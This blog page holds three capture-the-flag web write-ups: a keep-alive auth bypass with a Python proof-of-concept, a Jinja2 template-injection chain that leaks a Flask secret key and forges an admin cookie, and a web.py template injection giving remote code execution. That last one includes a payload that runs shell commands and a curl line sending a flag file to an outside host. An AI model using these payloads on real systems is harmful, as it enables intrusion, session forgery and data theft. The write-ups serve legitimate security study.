Python on HitCat

HTTP keep-alive request smuggling past auth (unintended) - ImaginaryCTF 2025

Sat, 06 Sep 2025 00:00:00 +0000

Challenge source

ImaginaryCTF 2025 - Web - Pwntool

Introduction

“pwntool” combines a minimalist HTTP server (custom socket loop with keep-alive and request parsing) and an admin bot (Selenium/Chrome) that will “visit” attacker-supplied URLs. The intended path uses a browser-side payload (exploit.txt) to smuggle a second HTTP request to /register.

My solution is unintended and it exploits the fact that the server caches client_addr per TCP socket and does not refresh it per HTTP request on a persistent connection. As a result, any subsequent request processed on that same socket inherits the admin/localhost identity, allowing privileged actions (e.g., registering/resetting the admin) without the browser-smuggling trick.

Context Explanation

Server: custom Python socket server (app.py) multiplexing clients via select, manual HTTP parsing, and keep-alive support.
Admin bot: Selenium/Chrome (see imports) visiting a URL via /visit using a X-Target header; the bot originates from 127.0.0.1.
Auth & routes: endpoints for /register, /flag, etc. Admin creds are generated at startup and stored in memory (accounts).
Key bug: the per-socket client record stores addr (the peer address at accept() time) and uses it for authorization checks on every parsed request from that socket, without re-deriving identity per request. With HTTP/1.1 keep-alive (and pipelining-like behavior), later requests inherit the same trusted client_addr.

#...
for s in rlist:
    if s is server:
        client_sock, addr = server.accept()
        client_sock.setblocking(False)
        clients[client_sock] = {"addr": addr, "buffer": b""}
        print(f"[*] New client {addr}")
#...

Directive

Use /visit to make the admin bot open a single TCP connection to the target server, ensuring keep-alive persists.
Send/queue an additional request on that same socket, which the server will process in turn without updating client_addr.
Perform a privileged action (e.g., POST /register with headers) and then access /flag.

Solution

1) Relevant server structure (from `app.py`)

The server accepts connections, stashes the peer address once, and parses multiple HTTP requests from the same socket:

# app.py (excerpts)
import socket, select, base64, random, string, os, threading
from urllib.parse import urlparse, parse_qs
# ... Selenium / webdriver imports for the admin bot ...

HOST = "0.0.0.0"
PORT = 8080

routes = {}
accounts = {}
FLAG_FILE = "./flag.txt"

# ... admin password generation at startup ...
# accounts["admin"] = admin_password
# print(f"[+] Admin password: {admin_password}")

# Connection bookkeeping
serversock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversock.bind((HOST, PORT))
serversock.listen(128)

clients = {}  # socket -> {"addr": (ip, port), "buffer": b"...", ...}

# Main loop (simplified):
s, addr = serversock.accept()
clients[s] = {"addr": addr, "buffer": b"", "last_active": datetime.now()}

# ... later, per readable client socket:
data = s.recv(8192)
client = clients[s]
client["buffer"] += data

# Parse 1+ HTTP requests from client["buffer"] (keep-alive)
# For each parsed request:
# - route it
# - build_response(..., keep_alive=<bool>)
# - s.send(response)
# - if not keep_alive: close
# NOTE: authorization decisions key off client["addr"] (NOT re-derived per request)

Why this matters: the authorization gate for sensitive routes (e.g., allowing /register when coming from localhost/admin bot) is tied to client["addr"]. If a subsequent request is parsed from the same socket, it inherits that origin.

2) Intended exploit (for reference)

The challenge description provides the “official” path: serve an HTML file with a <script> that performs a body smuggling style trick via fetch("http://localhost:8080/", { method: "POST", body: "a".repeat(3526) + "POST /register HTTP/1.1 ..." }). This causes the server to read a second request on the same TCP connection, effectively issuing:

POST /register HTTP/1.1
Host: localhost:8080
X-Username: admin
X-Password: admin
Content-Length: 0

3) The unintended exploit: stale `client_addr` on keep-alive

This PoC leverages the same core primitive (multiple requests on one connection), but without relying on the browser’s smuggling quirk. The crucial observation is:

The server never refreshes the per-request identity; it reuses clients[s]["addr"] for all requests parsed from that socket.
Once the admin bot (originating from 127.0.0.1) has established a keep-alive connection, any later request on that stream is implicitly considered localhost/admin.

Here is the PoC that illustrates this flow:

import base64, time, requests
from datetime import datetime

TARGET = "http://34.72.72.63:23505"
ADMIN_NEW_PASS = "hitcat"
ROUNDS = 10
VISIT_DELAY_S = 0.6
SESSION = requests.Session()

def log(msg): print(f"{msg}", flush=True)
def b64_basic(u,p): return "Basic " + base64.b64encode(f"{u}:{p}".encode()).decode()

def do_visit():
    data_url = "http://127.0.0.1:8080/"
    r = SESSION.post(TARGET+"/visit", headers={"X-Target": data_url})
    log(f"/visit ->{r.text}")

def do_register():
    r = SESSION.post(TARGET+"/register", headers={"X-Username":"admin","X-Password":ADMIN_NEW_PASS})
    log(f"/register -> {r.text}")

def do_flag():
    r = SESSION.get(TARGET+"/flag", headers={"Authorization": b64_basic("admin", ADMIN_NEW_PASS)})
    log(f"/flag -> {r.text}")
    return r

for i in range(ROUNDS):
    log(f"== Round {i+1}/{ROUNDS} ==")
    do_visit()
    time.sleep(VISIT_DELAY_S)
    do_register()
    r = do_flag()
    if r.status_code == 200 and "flag" in r.text.lower():
        print("\n[FLAG]\n" + r.text + "\n")
        break
    time.sleep(0.7)

What’s happening under the hood:

POST /visit causes the admin bot to reach out (from 127.0.0.1) and establish a socket to the server with keep-alive.
Because the server parses multiple HTTP requests from the same clients[s]["buffer"], your PoC queues another HTTP request on that socket (or ensures one is available right after).
The server authorizes the second request using the cached client["addr"] == ('127.0.0.1', <port>), thus treating it as local/admin-originated.
You perform /register (or equivalent privileged action), then read /flag.

This avoids relying on browser-side body tricks; it directly abuses the server’s per-socket identity caching.

Jinja2 SSTI in a card generator - Pragyan CTF 2025

Sun, 09 Feb 2025 00:00:00 +0000

Introduction

The website consists of a single page for generating birthday cards. It features a form with 4 fields: sender, recipient, message, and message_final.

Upon submitting the form, a card is generated and displayed on the page with the entered values.

Context Explanation

We had access to the application’s source code, which is as follows:

from flask import Flask, request, jsonify, abort, render_template_string, session, redirect
import builtins as _b
import sys
import os

app = Flask(__name__)
app.secret_key = os.getenv("APP_SECRET_KEY", "default_app_secret")
env = app.jinja_env

KEY = os.getenv("APP_SECRET_KEY", "default_secret_key")

class validator:
    def security():
        return _b
    def security1(a, b, c, d):
        if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
            return False
        elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
            return False
        else:
            return True

    def security2(a, b, c, d):
        if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
            return True
        else :
            return False

@app.route("/", methods=["GET", "POST"])
def personalized_card():
    if request.method == "GET":
        return """
        <link rel="stylesheet" href="static/style.css">
        <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
        <div class="container">
            <div class="card-generator">
                <h1>Personalized Card Generator</h1>
                <form action="/" method="POST">
                    <label for="sender">Sender's Name:</label>
                    <input type="text" id="sender" name="sender" placeholder="Your name" required maxlength="50">
                    <label for="recipient">Recipient's Name:</label>
                    <input type="text" id="recipient" name="recipient" placeholder="Recipient's name" required maxlength="50">
                    <label for="message">Message:</label>
                    <input type="text" id="message" name="message" placeholder="Your message" required maxlength="50">
                    <label for="message_final">Final Message:</label>
                    <input type="text" id="message_final" name="message_final" placeholder="Final words" required maxlength="50">
                    <button type="submit">Generate Card</button>
                </form>
            </div>
        </div>
        """
    elif request.method == "POST":
        try:
            recipient = request.form.get("recipient", "")
            sender = request.form.get("sender", "")
            message = request.form.get("message", "")
            final_message = request.form.get("message_final", "")
            if validator.security1(recipient, sender, message, final_message) and validator.security2(recipient, sender, message, final_message):
                template = f"""
                    <link rel="stylesheet" href="static/style.css">
                    <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
                    <div class="container">
                        <div class="card-preview">
                            <h1>Your Personalized Card</h1>
                            <div class="card">
                                <h2>From: {sender}</h2>
                                <h2>To: {recipient}</h2>
                                <p>{message}</p>
                                <h1>{final_message}</h1>
                            </div>
                            <a class="new-card-link" href="/">Create Another Card</a>
                        </div>
                    </div>
                """
            else:
                template="Either the recipient, sender, or message input is more than 50 letters"
            app.jinja_env = env
            app.jinja_env.globals.update({
                'validator': validator()
            })
            return render_template_string(template)
        except Exception as e:
            return f"""
            <link rel="stylesheet" href="static/style.css">
            <div>
                <h1>Error: {str(e)}</h1>
                <br>
                <p>Please try again. <a href="/">Back to Card Generator</a></p>
            </div>
            """, 400

@app.route("/debug/test", methods=["POST"])
def test_debug():
    user = session.get("user")
    host = request.headers.get("Host", "")
    if host != "localhost:3030":
        return "Access restricted to localhost:3030, this endpoint is only for development purposes", 403
    if not user:
        return "You must be logged in to test debugging.", 403
    try:
        raise ValueError(f"Debugging error: SECRET_KEY={KEY}")
    except Exception as e:
        return "Debugging error occurred.", 500

@app.route("/admin/report")
def admin_report():
    auth_cookie = request.cookies.get("session")
    if not auth_cookie:
        abort(403, "Unauthorized access.")
    try:
        token, signature = auth_cookie.rsplit(".", 1)
        from app.sign import initFn
        signer = initFn(KEY)
        sign_token_function = signer.get_signer()
        valid_signature = sign_token_function(token)

        if valid_signature != signature:
            abort(403, f"Invalid token.")

        if token == "admin":
            return "Flag: p_ctf{redacted}"
        else:
            return "Access denied: admin only."
    except Exception as e:
        abort(403, f"Invalid token format: {e}")

@app.after_request
def clear_imports(response):
    if 'app.sign' in sys.modules:
        del sys.modules['app.sign']
    if 'app.sign' in globals():
        del globals()['app.sign']
    return response

Directive

The challenge provides a Flask-based “Birthday Card Generator” website. The goal is to exploit a Server-Side Template Injection (SSTI) vulnerability to leak the Flask secret key, forge a malicious admin session cookie, and retrieve the flag from the /admin/report endpoint.

Solution

After analyzing the code, the vulnerability appears to be a Server-Side Template Injection (SSTI) in the form fields.

template = f"""
    <link rel="stylesheet" href="static/style.css">
    <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600&display=swap" rel="stylesheet">
    <div class="container">
        <div class="card-preview">
            <h1>Your Personalized Card</h1>
            <div class="card">
                <h2>From: {sender}</h2>
                <h2>To: {recipient}</h2>
                <p>{message}</p>
                <h1>{final_message}</h1>
            </div>
            <a class="new-card-link" href="/">Create Another Card</a>
        </div>
    </div>
"""

However, there are restrictions on the length of the fields and their contents. To retrieve the flag, we need to call the /admin/report route with a valid admin token.

The controls are as follows:

class validator:
    def security():
        return _b
    def security1(a, b, c, d):
        if 'validator' in a or 'validator' in b or 'validator' in c or 'validator' in d:
            return False
        elif 'os' in a or 'os' in b or 'os' in c or 'os' in d:
            return False
        else:
            return True

    def security2(a, b, c, d):
        if len(a) <= 50 and len(b) <= 50 and len(c) <= 50 and len(d) <= 50:
            return True
        else :
            return False

In summary, the controls are:

Fields must not contain the words validator or os.
Fields must not exceed 50 characters.

To exploit the SSTI while bypassing the controls, we retrieved the secret key by reading the application’s config.

Retrieving the Secret Key

POST / HTTP/2
Host: birthday.ctf.prgy.in
Content-Length: 51
Content-Type: application/x-www-form-urlencoded

sender={{config}}&message=msg&message_final=msg_fin

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'dsbfeif3uwf6bes878hgi', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'KEY': 'dsbfeif3uwf6bes878hgi'}>

We read the KEY entry, which is the application’s secret key: 'KEY': 'dsbfeif3uwf6bes878hgi'.

Creating a Signed Token

To sign a token with this key, we used a library available within the application via a HiddenClass that requires a key in its constructor and contains the _sign_token("value") method.

POST / HTTP/2
Host: birthday.ctf.prgy.in
Content-Length: 152
Content-Type: application/x-www-form-urlencoded

sender={%set p = ''.__class__.__mro__[1].__subclasses__%}&message={% set d = p()[-2]('dsbfeif3uwf6bes878hgi')%}&message_final={{d._sign_token("admin")}}

Payload Explanation

{%set p = ''.__class__.__mro__[1].__subclasses__%}

This payload sets the variable p to the list of subclasses of the base class.

''.__class__.__mro__[1].__subclasses__ retrieves the list of subclasses of the base class (str in this case).

{% set d = p()[-2]('dsbfeif3uwf6bes878hgi')%}

This payload sets the variable d to an instance of HiddenClass in the list p, initialized with the secret key dsbfeif3uwf6bes878hgi.

p()[-2]('dsbfeif3uwf6bes878hgi') creates an instance of HiddenClass with the provided secret key.

{{d._sign_token("admin")}}

This payload uses the instance d to call the _sign_token method with the argument admin, effectively generating a signed token with the value admin.

{{d._sign_token("admin")}} renders the result of the _sign_token method call, which is the signed token.

In the response, we retrieved the forged token in the message_final field: admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b.

Retrieving the Flag

We were able to retreive the flag by sending a request to the /admin/report route with the forged token.

GET /admin/report HTTP/2
Host: birthday.ctf.prgy.in
Cookie: session=admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b

HTTP/2 200 OK
Server: gunicorn
Date: Fri, 07 Feb 2025 15:13:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 33

Flag: p_ctf{S3rVer_STI_G0es_hArd}

Source leak and Python SSTI to the flag - Nullcon Goa 2025

Mon, 03 Feb 2025 00:00:00 +0000

Introduction

Context Explanation

The “Temptation” challenge is a web application security exercise focusing on template injection vulnerabilities in Python web applications.

Directive

The goal is to retrieve a flag by exploiting vulnerabilities in the web application.

Solution

Analyzing source code

First, we need to retrieve the application’s source code. The webpage contains a hidden comment suggesting to look at /?source.

<html>
    <head>
            <title>Temptation</title>       
    </head>
    <body>
        <h1>Temptation challenge</h1>
        <form action="/" method="POST">
            <table>
                <tr>
                    <th>
                        <label for="temptation">What is your temptation?</label>
                    </th>
                    <td>
                        <input id="temptation" name="temptation" type="password"/>
                    </td>
                </tr>
                <tr>
                    <th>
                        <label for="submit"></label>
                    </th>
                    <td>
                        <button id="submit" name="submit">submit</button>
                    </td>
                </tr>
            </table>
        </form>
        <!-- Look at me, I'm soo tempting! /?source -->
    </body>
</html>

However, directly accessing this path doesn’t reveal anything. After testing different inputs, we discover that adding any parameter value (e.g., /?source=anything) reveals the source code.


import web
from web import form
web.config.debug = False
urls = (
  '/', 'index'
)
app = web.application(urls, locals())
render = web.template.render('templates/')
FLAG = open("/tmp/flag.txt").read()

temptation_Form = form.Form(
    form.Password("temptation", description="What is your temptation?"),
    form.Button("submit", type="submit", description="Submit")
)

class index:
    def GET(self):
        try:
            i = web.input()
            if i.source:
                return open(__file__).read()
        except Exception as e:
            pass
        f = temptation_Form()
        return render.index(f)

    def POST(self):
        f = temptation_Form()
        if not f.validates():
            return render.index(f)
        i = web.input()
        temptation = i.temptation
        if 'flag' in temptation.lower():
            return "Too tempted!"
        try:
            temptation = web.template.Template(f"Your temptation is: {temptation}")()
        except Exception as  e:
            return "Too tempted!"
        if str(temptation) == "FLAG":
            return FLAG
        else:
            return "Too tempted!"
application = app.wsgifunc()
if __name__ == "__main__":
    app.run()

The source code analysis reveals several key points:

The application uses the web.py framework
The flag is stored in /tmp/flag.txt
A form asks for a “temptation” input
Multiple security checks are implemented:

if 'flag' in temptation.lower():
    return "Too tempted!"

if str(temptation) == "FLAG":
    return FLAG

The interesting part is the template string evaluation using web.template.Template() with an f-string, which is vulnerable to Python code injection.

temptation = web.template.Template(f"Your temptation is: {temptation}")()

Exploitation

The vulnerability lies in the template processing. While the application prevents using the word flag directly and requires the final output to be FLAG, we can bypass these restrictions using template injection.

First, we confirm the vulnerability using a time-based payload:

${__import__('os').system('sleep 5')}

Access to the flag

After confirming the RCE capability, we craft a payload to exfiltrate the flag:

${__import__('os').system('curl https://eohs7zi0yztnmqq.m.pipedream.net/$(cat /tmp/f*.txt | base64)')}

This payload:

Uses os.system() to execute shell commands
Reads the flag file using cat with a wildcard to avoid using “flag” in the payload
Base64 encodes the content to ensure safe transmission
Exfiltrates the data using curl to a RequestBin endpoint

Decoding the received base64 string:

echo 'RU5Pe1QzTV9QbDRUXzNTXzRyM19TM2NVcmUhIX0=' | base64 -d
ENO{T3M_Pl4T_3S_4r3_S3cUre!!}

Tips & Tricks

When dealing with template injection, remember that f-strings in template contexts can be particularly dangerous
Base64 encoding is useful for exfiltrating data while avoiding special character issues
RequestBin (or similar services) are valuable tools for data exfiltration in CTF challenges
Using wildcards (f*.txt) can help bypass word blacklists
Always check source code comments, they often contain valuable hints

Python on HitCat

HTTP keep-alive request smuggling past auth (unintended) - ImaginaryCTF 2025

Challenge source

Introduction

Context Explanation

Directive

Solution

1) Relevant server structure (from app.py)

2) Intended exploit (for reference)

3) The unintended exploit: stale client_addr on keep-alive

Jinja2 SSTI in a card generator - Pragyan CTF 2025

Introduction

Context Explanation

Directive

Solution

Retrieving the Secret Key

Creating a Signed Token

Payload Explanation

Retrieving the Flag

Source leak and Python SSTI to the flag - Nullcon Goa 2025

Introduction

Context Explanation

Directive

Solution

Analyzing source code

Exploitation

Access to the flag

Tips & Tricks

1) Relevant server structure (from `app.py`)

3) The unintended exploit: stale `client_addr` on keep-alive